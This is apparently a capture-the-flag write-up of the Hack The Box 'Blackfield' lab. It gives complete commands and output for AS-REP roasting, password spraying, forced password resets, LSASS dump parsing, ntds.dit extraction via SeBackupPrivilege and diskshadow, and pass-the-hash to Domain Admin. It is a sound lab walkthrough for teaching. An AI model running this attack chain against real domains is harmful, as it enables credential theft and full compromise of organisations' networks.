Blackfield: AS-REP Roasting to LSASS Dump and SeBackupPrivilege
Hack The Box write-up for the Blackfield machine. Guest SMB access leaks a user list from the profiles$ share, AS-REP roasting cracks the support account, BloodHound reveals ForceChangePassword over audit2020, the forensic share yields an LSASS dump with svc_backup's NT hash, and SeBackupPrivilege extracts ntds.dit for full domain compromise.
Initial Reconnaissance – Port Scanning
The assessment started with a scan using service version detection against 10.129.60.114, host discovery disabled (-Pn):
$ nmap -sV -Pn -T4 10.129.60.114
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-10 19:44 -0300
Nmap scan report for 10.129.60.114
Host is up (0.16s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-11 05:44:38Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Standard domain controller profile: DNS (53), Kerberos (88), RPC (135), LDAP (389/3268), SMB (445), and WinRM (5985). The LDAP banner leaks the domain (BLACKFIELD.local) and the hostname (DC01). Both go into /etc/hosts:
10.129.60.114 BLACKFIELD.local DC01.BLACKFIELD.local
A zone transfer attempt was refused:
$ host -t axfr BLACKFIELD.local 10.129.60.114
Trying "BLACKFIELD.local"
Host BLACKFIELD.local not found: 5(REFUSED)
; Transfer failed.
Domain Enumeration
445/tcp – SMB Null Session and Guest Access
Anonymous RPC was locked down:
$ rpcclient -U '' -N 10.129.60.114
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
A null session over SMB was accepted (Null Auth: True), but share enumeration was denied:
$ nxc smb 10.129.60.114 -u '' -p '' --shares
SMB 10.129.60.114 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.60.114 445 DC01 [+] BLACKFIELD.local\:
SMB 10.129.60.114 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
Switching to the guest account unblocked share enumeration. Two custom shares stood out: forensic (described as "Forensic / Audit share") and profiles$, both worth investigating:
$ nxc smb 10.129.60.114 -u 'guest' -p '' --shares
SMB 10.129.60.114 445 DC01 [+] BLACKFIELD.local\guest:
SMB 10.129.60.114 445 DC01 Share Permissions Remark
SMB 10.129.60.114 445 DC01 ----- ----------- ------
SMB 10.129.60.114 445 DC01 ADMIN$ Remote Admin
SMB 10.129.60.114 445 DC01 C$ Default share
SMB 10.129.60.114 445 DC01 forensic Forensic / Audit share.
SMB 10.129.60.114 445 DC01 IPC$ READ Remote IPC
SMB 10.129.60.114 445 DC01 NETLOGON Logon server share
SMB 10.129.60.114 445 DC01 profiles$ READ
SMB 10.129.60.114 445 DC01 SYSVOL Logon server share
User enumeration via --users returned nothing, but RID brute force through the guest session was successful. Among the hundreds of BLACKFIELD###### accounts, a few names stand out: audit2020, support, svc_backup, and lydericlefebvre:
$ nxc smb 10.129.60.114 -u 'guest' -p '' --rid-brute
SMB 10.129.60.114 445 DC01 [+] BLACKFIELD.local\guest:
SMB 10.129.60.114 445 DC01 500: BLACKFIELD\Administrator (SidTypeUser)
SMB 10.129.60.114 445 DC01 501: BLACKFIELD\Guest (SidTypeUser)
SMB 10.129.60.114 445 DC01 502: BLACKFIELD\krbtgt (SidTypeUser)
...
SMB 10.129.60.114 445 DC01 1103: BLACKFIELD\audit2020 (SidTypeUser)
SMB 10.129.60.114 445 DC01 1104: BLACKFIELD\support (SidTypeUser)
SMB 10.129.60.114 445 DC01 1105: BLACKFIELD\BLACKFIELD764430 (SidTypeUser)
...
SMB 10.129.60.114 445 DC01 1413: BLACKFIELD\svc_backup (SidTypeUser)
SMB 10.129.60.114 445 DC01 1414: BLACKFIELD\lydericlefebvre (SidTypeUser)
profiles$ – Building a User List
The profiles$ share was readable with the guest account. It contained hundreds of empty directories, one per user, following the same naming pattern as the RID brute results:
$ smbclient -U 'BLACKFIELD.local/guest' //DC01.BLACKFIELD.local/profiles$
smb: \> ls
. D 0 Wed Jun 3 13:47:12 2020
.. D 0 Wed Jun 3 13:47:12 2020
AAlleni D 0 Wed Jun 3 13:47:11 2020
ABarteski D 0 Wed Jun 3 13:47:11 2020
ABekesz D 0 Wed Jun 3 13:47:11 2020
...
audit2020 D 0 Wed Jun 3 13:47:11 2020
...
support D 0 Wed Jun 3 13:47:12 2020
svc_backup D 0 Wed Jun 3 13:47:12 2020
...
A recursive listing confirmed every directory was empty. These are placeholder profile folders, not working home directories, but the folder names serve as a clean username list. I downloaded them all and captured the directory names:
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
$ ls > pass.txt
This produced a list of around 314 usernames from the profile share, plus the RID brute results were saved into a separate users.txt containing accounts like Administrator, Guest, krbtgt, audit2020, support, the BLACKFIELD###### batch, svc_backup, and lydericlefebvre.
Quick Wins That Didn't Work
Before moving to Kerberos, I tested the obvious quick wins. A spray where each username was also used as its own password across the RID user list returned STATUS_LOGON_FAILURE for every account:
$ nxc smb 10.129.60.114 -u users.txt -p users.txt --no-brute
SMB 10.129.60.114 445 DC01 [-] BLACKFIELD.local\Administrator:Administrator STATUS_LOGON_FAILURE
SMB 10.129.60.114 445 DC01 [-] BLACKFIELD.local\support:support STATUS_LOGON_FAILURE
SMB 10.129.60.114 445 DC01 [-] BLACKFIELD.local\svc_backup:svc_backup STATUS_LOGON_FAILURE
...
A broader spray using the profile folder names as passwords against the RID user list was also started, but with ~314 passwords against ~320 users, the combination count made it impractical and it was producing nothing but failures. Time to try AS-REP roasting instead.
AS-REP Roasting – support
With a validated user list, the next step is checking whether any account has Kerberos preauthentication disabled. impacket-GetNPUsers tests every user by requesting an AS-REP without a password. Only support was vulnerable:
$ impacket-GetNPUsers BLACKFIELD.local/ -no-pass -usersfile users.txt \
-format hashcat -outputfile asrep_hashes.txt -dc-ip 10.129.60.114
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@BLACKFIELD.LOCAL:01d245144c0f772e602939ebf9c686cf$2562d9c0d72...
The krbtgt entry returned KDC_ERR_CLIENT_REVOKED, meaning the account is disabled (expected). The support hash was saved and cracked with hashcat (mode 18200) against rockyou.txt with the best64 rule:
$ hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
[email protected]:01d245144c0f...:#00^BlackKnight
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Time.Started.....: Thu Sep 10 20:15:41 2026 (4 mins, 9 secs)
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Credentials recovered: support / #00^BlackKnight
support – BloodHound and ForceChangePassword
Validating the credentials and listing shares, support has the same access as guest. No read on the forensic share yet:
$ nxc smb 10.129.60.114 -u 'support' -p '#00^BlackKnight' --shares
SMB 10.129.60.114 445 DC01 [+] BLACKFIELD.local\support:#00^BlackKnight
SMB 10.129.60.114 445 DC01 Share Permissions Remark
SMB 10.129.60.114 445 DC01 ----- ----------- ------
SMB 10.129.60.114 445 DC01 ADMIN$ Remote Admin
SMB 10.129.60.114 445 DC01 C$ Default share
SMB 10.129.60.114 445 DC01 forensic Forensic / Audit share.
SMB 10.129.60.114 445 DC01 IPC$ READ Remote IPC
SMB 10.129.60.114 445 DC01 NETLOGON READ Logon server share
SMB 10.129.60.114 445 DC01 profiles$ READ
SMB 10.129.60.114 445 DC01 SYSVOL READ Logon server share
The credentials are valid but don't open any new share access. Time to look at the domain graph. I collected BloodHound data with bloodhound-python:
$ bloodhound-python -d BLACKFIELD.local -u 'support' -p '#00^BlackKnight' \
-ns 10.129.60.114 -c all
INFO: Found AD domain: blackfield.local
INFO: Found 1 domains
INFO: Found 18 computers
INFO: Found 316 users
INFO: Found 52 groups
INFO: Done in 00M 48S
Reviewing the support user in BloodHound revealed a single outbound edge that changes everything: ForceChangePassword over audit2020.
This means support can reset audit2020's password without knowing the current one. The net rpc password command performs the change remotely:
$ net rpc password "audit2020" "newP@ssword2022" -U "BLACKFIELD.local"/"support"%"#00^BlackKnight" -S "DC01.BLACKFIELD.local"
No error output, which means success. Confirming the new credentials and checking shares:
$ nxc smb 10.129.60.114 -u 'audit2020' -p 'newP@ssword2022' --shares
SMB 10.129.60.114 445 DC01 [+] BLACKFIELD.local\audit2020:newP@ssword2022
SMB 10.129.60.114 445 DC01 Share Permissions Remark
SMB 10.129.60.114 445 DC01 ----- ----------- ------
SMB 10.129.60.114 445 DC01 forensic READ Forensic / Audit share.
SMB 10.129.60.114 445 DC01 IPC$ READ Remote IPC
SMB 10.129.60.114 445 DC01 NETLOGON READ Logon server share
SMB 10.129.60.114 445 DC01 profiles$ READ
SMB 10.129.60.114 445 DC01 SYSVOL READ Logon server share
audit2020 has READ on the forensic share. That was the goal.
audit2020 – The Forensic Share
The forensic share contains three directories: commands_output, memory_analysis, and tools:
$ smbclient -U 'BLACKFIELD.local/audit2020' //DC01.BLACKFIELD.local/forensic
smb: \> ls
. D 0 Sun Feb 23 10:03:16 2020
.. D 0 Sun Feb 23 10:03:16 2020
commands_output D 0 Sun Feb 23 15:14:37 2020
memory_analysis D 0 Thu May 28 17:28:33 2020
tools D 0 Sun Feb 23 10:39:08 2020
The commands_output directory held text files with results from common AD enumeration commands. domain_admins.txt listed the members of Domain Admins:
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator Ipwn3dYourCompany
Two members: Administrator and Ipwn3dYourCompany. The second name is interesting but not immediately useful without a password.
The real prize was under memory_analysis: a file called lsass.zip. The initial download attempt with smbclient timed out:
smb: \memory_analysis\> get lsass.zip
parallel_read returned NT_STATUS_IO_TIMEOUT
Downloading a ~40 MB file over a default SMB session with small I/O sizes and short timeouts was failing. Switching to SMB2 with an increased timeout and smaller I/O size resolved the issue:
$ smbclient -m SMB2 -U "BLACKFIELD.local/audit2020" '//DC01.BLACKFIELD.local/forensic' \
-c 'timeout 120; iosize 16384; get "\memory_analysis\lsass.zip"'
getting file \memory_analysis\lsass.zip of size 41936098 as \memory_analysis\lsass.zip (698.1 KiloBytes/sec) (average 698.1 KiloBytes/sec)
LSASS Dump – Extracting svc_backup's Hash
Extracting the zip produced a minidump of the LSASS process:
$ unzip lsass.zip
Archive: lsass.zip
inflating: lsass.DMP
pypykatz parses LSASS minidumps offline and recovers cached credentials. Among the logon sessions, svc_backup had a cached NT hash:
$ pypykatz lsa minidump lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
== MSV ==
Username: svc_backup
Domain: BLACKFIELD
LM: NA
NT: 9658d1d1dcd9250115e2205d9f48400d
SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
DPAPI: a03cd8e9d30171f3cfe8caad92fef62100000000
The NT hash 9658d1d1dcd9250115e2205d9f48400d authenticates over SMB:
$ nxc smb 10.129.60.114 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
SMB 10.129.60.114 445 DC01 [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d
Checking whether WinRM is available:
$ nxc winrm 10.129.60.114 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
WINRM 10.129.60.114 5985 DC01 [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d (Pwn3d!)
Pwn3d! confirms svc_backup is in Remote Management Users. BloodHound confirms the full picture: the account is a member of Backup Operators, Remote Management Users, and Domain Users.
Initial Access – WinRM (svc_backup)
Authenticating with the NT hash via evil-winrm:
$ evil-winrm -i 10.129.60.114 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_backup\Documents>
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt
3920bb317a0bef51027e2852be64b543
Privilege Escalation – SeBackupPrivilege
Checking the token confirms exactly the privileges expected from a Backup Operators member:
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeBackupPrivilege lets any process read any file on the system by bypassing NTFS ACLs. On a domain controller, this means copying ntds.dit and the SYSTEM hive, extracting every domain hash offline, and authenticating as Administrator with the NT hash. The full group membership confirms the path:
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /all
...
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
...
DiskShadow + Robocopy
ntds.dit is locked by the ESE engine while Active Directory is running, so a direct copy fails. The approach is to create a volume shadow copy with diskshadow, expose it as a drive letter, and then copy the file from the snapshot using robocopy /b (backup mode, which activates SeBackupPrivilege).
The diskshadow script was prepared on the attack machine. The unix2dos conversion is mandatory because diskshadow does not accept Unix line endings:
$ cat <<'EOF' > shadow.dsh
set context persistent nowriters
add volume c: alias blackfield
create
expose %blackfield% z:
EOF
$ unix2dos shadow.dsh
unix2dos: converting file shadow.dsh to DOS format...
Uploaded and executed:
*Evil-WinRM* PS C:\Temp> upload shadow.dsh
Info: Upload successful!
*Evil-WinRM* PS C:\Temp> diskshadow /s C:\Temp\shadow.dsh
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 9/11/2026 12:24:37 AM
-> set context persistent nowriters
-> add volume c: alias blackfield
-> create
Alias blackfield for shadow ID {c7151036-517d-4314-b0c8-c9ddf7efc481} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {d9b451a5-bc07-4be3-b1a0-6096c5c95d38} set as environment variable.
Querying all shadow copies with the shadow copy set ID {d9b451a5-bc07-4be3-b1a0-6096c5c95d38}
* Shadow copy ID = {c7151036-517d-4314-b0c8-c9ddf7efc481} %blackfield%
- Shadow copy set: {d9b451a5-bc07-4be3-b1a0-6096c5c95d38} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{6cd5140b-0000-0000-0000-602200000000}\ [C:\]
- Creation time: 9/11/2026 12:24:38 AM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
- Originating machine: DC01.BLACKFIELD.local
- Service machine: DC01.BLACKFIELD.local
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %blackfield% z:
-> %blackfield% = {c7151036-517d-4314-b0c8-c9ddf7efc481}
The shadow copy was successfully exposed as z:\.
Copying ntds.dit from the shadow copy with robocopy /b:
*Evil-WinRM* PS C:\Temp> robocopy /b z:\Windows\NTDS C:\Temp ntds.dit
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 0 1 0 0 0
Files : 1 1 0 0 0 0
Bytes : 18.00 m 18.00 m 0 0 0 0
Saving the SYSTEM hive:
*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM C:\Temp\SYSTEM
The operation completed successfully.
Downloading both to the attack machine:
*Evil-WinRM* PS C:\Temp> download ntds.dit
Info: Download successful!
*Evil-WinRM* PS C:\Temp> download SYSTEM
Info: Download successful!
Hash Extraction
With both files on the attack machine, impacket-secretsdump decrypts the database offline:
$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e04977c178f473902feb052ca1107d6e:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
...
The Administrator NT hash is 184fb5e5178480be64824d4cd53b99ee.
Domain Admin – Pass-the-Hash
$ evil-winrm -i 10.129.60.114 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
4375a629c7c67c8e29db269060c955cb
A note left on the Administrator's desktop provides context for the forensic artifacts encountered throughout the box:
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat notes.txt
Mates,
After the domain compromise and computer forensic last week, auditors advised us to:
- change every passwords -- Done.
- change krbtgt password twice -- Done.
- disable auditor's account (audit2020) -- KO.
- use nominative domain admin accounts instead of this one -- KO.
We will probably have to backup & restore things later.
- Mike.
PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt)
The incident response was partial: passwords were rotated and the krbtgt key was changed twice (neutralizing golden tickets), but the audit2020 account was never disabled, the forensic share with the LSASS dump was left accessible, and the svc_backup account kept its Backup Operators membership. Every gap in the remediation was an entry point for the chain that compromised the domain again.
Attack Chain
References
- Byte JMP: AS-REP Roasting: Exploiting Accounts Without Kerberos Pre-Authentication
- Byte JMP: Windows Privilege Escalation: SeBackupPrivilege
- harmj0y: Roasting AS-REPs
- BloodHound: ForceChangePassword
- pypykatz: LSASS minidump parser
- HackingArticles: SeBackupPrivilege
- Impacket: secretsdump / GetNPUsers
- Evil-WinRM
- bloodhound-python